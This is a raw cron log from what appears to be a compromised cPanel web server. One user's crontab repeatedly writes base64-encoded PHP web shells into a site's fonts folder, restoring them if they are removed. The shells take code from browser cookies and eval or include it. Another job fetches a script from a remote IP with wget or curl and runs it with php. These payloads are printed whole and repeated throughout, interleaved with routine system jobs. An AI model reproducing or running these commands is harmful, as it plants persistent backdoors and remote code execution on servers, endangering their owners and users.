Sep 10 20:30:01 ip-184-168-122-23 CROND[5350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:30:01 ip-184-168-122-23 CROND[5349]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:30:01 ip-184-168-122-23 CROND[5352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:30:01 ip-184-168-122-23 CROND[5354]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 20:30:01 ip-184-168-122-23 CROND[5351]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:30:01 ip-184-168-122-23 CROND[5353]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:30:01 ip-184-168-122-23 CROND[5356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:31:01 ip-184-168-122-23 CROND[5459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:31:01 ip-184-168-122-23 CROND[5460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:31:01 ip-184-168-122-23 CROND[5463]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 20:31:01 ip-184-168-122-23 CROND[5465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:31:01 ip-184-168-122-23 CROND[5464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:32:01 ip-184-168-122-23 CROND[5565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:32:01 ip-184-168-122-23 CROND[5567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:32:01 ip-184-168-122-23 CROND[5568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:32:01 ip-184-168-122-23 CROND[5569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:32:01 ip-184-168-122-23 CROND[5570]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:33:02 ip-184-168-122-23 CROND[5674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:33:02 ip-184-168-122-23 CROND[5678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:33:02 ip-184-168-122-23 CROND[5676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:33:02 ip-184-168-122-23 CROND[5679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:34:01 ip-184-168-122-23 CROND[5776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:34:01 ip-184-168-122-23 CROND[5779]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:34:01 ip-184-168-122-23 CROND[5780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:34:01 ip-184-168-122-23 CROND[5778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:34:01 ip-184-168-122-23 CROND[5781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:35:01 ip-184-168-122-23 CROND[6130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:35:01 ip-184-168-122-23 CROND[6132]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 20:35:01 ip-184-168-122-23 CROND[6133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:35:01 ip-184-168-122-23 CROND[6134]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:35:01 ip-184-168-122-23 CROND[6136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:35:01 ip-184-168-122-23 CROND[6135]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:35:01 ip-184-168-122-23 CROND[6137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:35:01 ip-184-168-122-23 CROND[6138]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 20:36:01 ip-184-168-122-23 CROND[6364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:36:01 ip-184-168-122-23 CROND[6365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:36:01 ip-184-168-122-23 CROND[6367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:36:01 ip-184-168-122-23 CROND[6366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:36:01 ip-184-168-122-23 CROND[6368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:37:01 ip-184-168-122-23 CROND[6505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:37:01 ip-184-168-122-23 CROND[6507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:37:01 ip-184-168-122-23 CROND[6506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:37:01 ip-184-168-122-23 CROND[6508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:38:01 ip-184-168-122-23 CROND[6593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:38:01 ip-184-168-122-23 CROND[6595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:38:01 ip-184-168-122-23 CROND[6596]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:38:01 ip-184-168-122-23 CROND[6597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:38:01 ip-184-168-122-23 CROND[6598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:39:01 ip-184-168-122-23 CROND[6718]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 20:39:01 ip-184-168-122-23 CROND[6720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:39:01 ip-184-168-122-23 CROND[6721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:39:01 ip-184-168-122-23 CROND[6722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:39:01 ip-184-168-122-23 CROND[6724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:40:01 ip-184-168-122-23 CROND[6811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:40:01 ip-184-168-122-23 CROND[6815]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 20:40:01 ip-184-168-122-23 CROND[6812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:40:01 ip-184-168-122-23 CROND[6813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:40:01 ip-184-168-122-23 CROND[6816]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:40:01 ip-184-168-122-23 CROND[6814]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:40:01 ip-184-168-122-23 CROND[6824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:40:01 ip-184-168-122-23 CROND[6825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:41:01 ip-184-168-122-23 CROND[7069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:41:01 ip-184-168-122-23 CROND[7073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:41:01 ip-184-168-122-23 CROND[7072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:41:01 ip-184-168-122-23 CROND[7071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:42:01 ip-184-168-122-23 CROND[7164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
